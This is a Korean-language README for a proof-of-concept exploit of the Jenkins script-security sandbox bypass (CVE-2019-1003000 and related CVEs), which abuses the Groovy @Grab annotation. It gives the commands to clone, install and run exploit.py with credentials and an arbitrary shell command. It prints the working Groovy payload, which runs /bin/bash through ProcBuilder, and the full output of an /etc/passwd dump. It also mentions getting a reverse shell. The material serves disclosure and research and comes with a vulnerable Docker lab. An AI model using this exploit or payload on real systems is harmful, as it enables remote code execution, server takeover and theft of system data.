
Jenkins RCE 개념 증명: SECURITY-1266 / CVE-2019-1003000 (스크립트 보안), CVE-2019-1003001 (파이프라인: Groovy), CVE-2019-1003002 (파이프라인: 선언적)
사용자가 Overall/Read 권한과 Job/Configure (및 선택적으로 Job/Build) 권한을 가지고 샌드박스 보호를 우회하여 Jenkins 마스터 또는 노드에서 임의 코드를 실행할 수 있도록 하는 개념 증명입니다.
업데이트: Orange Tsai의 기사는 CVE-2018-1000861과 CVE-2019-1003000을 활용하여 사전 인증 RCE를 위해 Overall/Read 권한의 필요성을 우회하는 익스플로잇 체인을 설명합니다. http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
대상 URL, 작업 이름, 사용자 이름/비밀번호 자격 증명 및 실행할 시스템 명령을 인수로 전달합니다.
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
Red Hat Bugzilla - Bug 1667566에서 인용:
파이프라인: 선언적 플러그인 버전 1.3.4.1 이전, 파이프라인: Groovy 플러그인 버전 2.61.1 이전 및 스크립트 보안 플러그인 버전 1.50 이전에서 결함이 발견되었습니다. 스크립트 보안 샌드박스 보호는 스크립트 컴파일 단계에서 @Grab과 같은 AST 변환 어노테이션을 소스 코드 요소에 적용하여 우회될 수 있었습니다. 파이프라인 검증 REST API와 실제 스크립트/파이프라인 실행 모두 영향을 받습니다. 이로 인해 Overall/Read 권한이 있는 사용자, 또는 Jenkinsfile이나 SCM에서 샌드박스 처리된 파이프라인 공유 라이브러리 내용을 제어할 수 있는 사용자가 샌드박스 보호를 우회하고 Jenkins 마스터 또는 노드에서 임의 코드를 실행할 수 있었습니다. Groovy의 알려진 모든 안전하지 않은 AST 변환은 이제 샌드박스 스크립트에서 금지됩니다.
이 PoC는 Overall/Read 및 Job/Configure 권한이 있는 사용자를 사용하여 샌드박스 모드에서 악의적으로 수정된 빌드 스크립트를 실행하고, 샌드박스 모드 제한을 우회하여 임의의 스크립트를 실행하려고 시도합니다(이 경우 시스템 명령을 실행합니다).
배경으로, Jenkins의 파이프라인 빌드 스크립트는 Groovy로 작성됩니다. 이 빌드 스크립트는 Jenkins 마스터 또는 노드에서 컴파일 및 실행되며, 파이프라인의 정의(예: 슬레이브 노드에서 수행할 작업)를 포함합니다. Jenkins는 또한 스크립트를 _샌드박스 모드_로 실행할 수 있도록 제공합니다. 샌드박스 모드에서는 모든 위험한 함수가 블랙리스트에 등록되므로 일반 사용자는 Jenkins 서버에 대해 악의적인 작업을 수행할 수 없습니다.
그러나 빌드 스크립트가 Groovy로 작성되었기 때문에 Java 패키지의 모든 클래스나 함수를 사용할 수 있습니다(그러나 샌드박스 모드에서는 위험한 내장 함수가 블랙리스트에 등록됩니다). 이 경우 AST 변환 어노테이션 @Grab을 사용하여 Jenkins가 외부 Maven 저장소에서 임의의 Java 패키지를 가져오도록 합니다. 이 PoC에서는 시스템 셸 명령을 실행하기 위해 org.buildobjects:jproc:2.2.3에 정의된 ProcBuilder 클래스를 사용합니다.
페이로드는 다음과 같이 정의됩니다:
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
위 스크립트는 Jenkins 마스터 또는 노드에서 컴파일 및 실행됩니다. 작업 빌드가 완료된 후, 작업 콘솔 출력에서 셸 명령 cat /etc/passwd의 결과를 볼 수 있습니다. 또한 이 RCE를 활용하여 리버스 셸을 획득하고 말 그대로 Jenkins 서버를 pwn 할 수 있습니다!
이 저장소의 sample-vuln 디렉토리에 Docker 컨테이너 형식의 취약한 Jenkins 예제가 제공됩니다. 부팅 후 컨테이너 이미지는 TCP/8080 포트에서 Jenkins 사이트를 호스팅하며, user1:user1 자격 증명을 가진 Overall/Read + Job/Configure + Job/Build 권한의 일반 사용자와 ID가 my-pipeline인 파이프라인 작업이 있습니다.
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS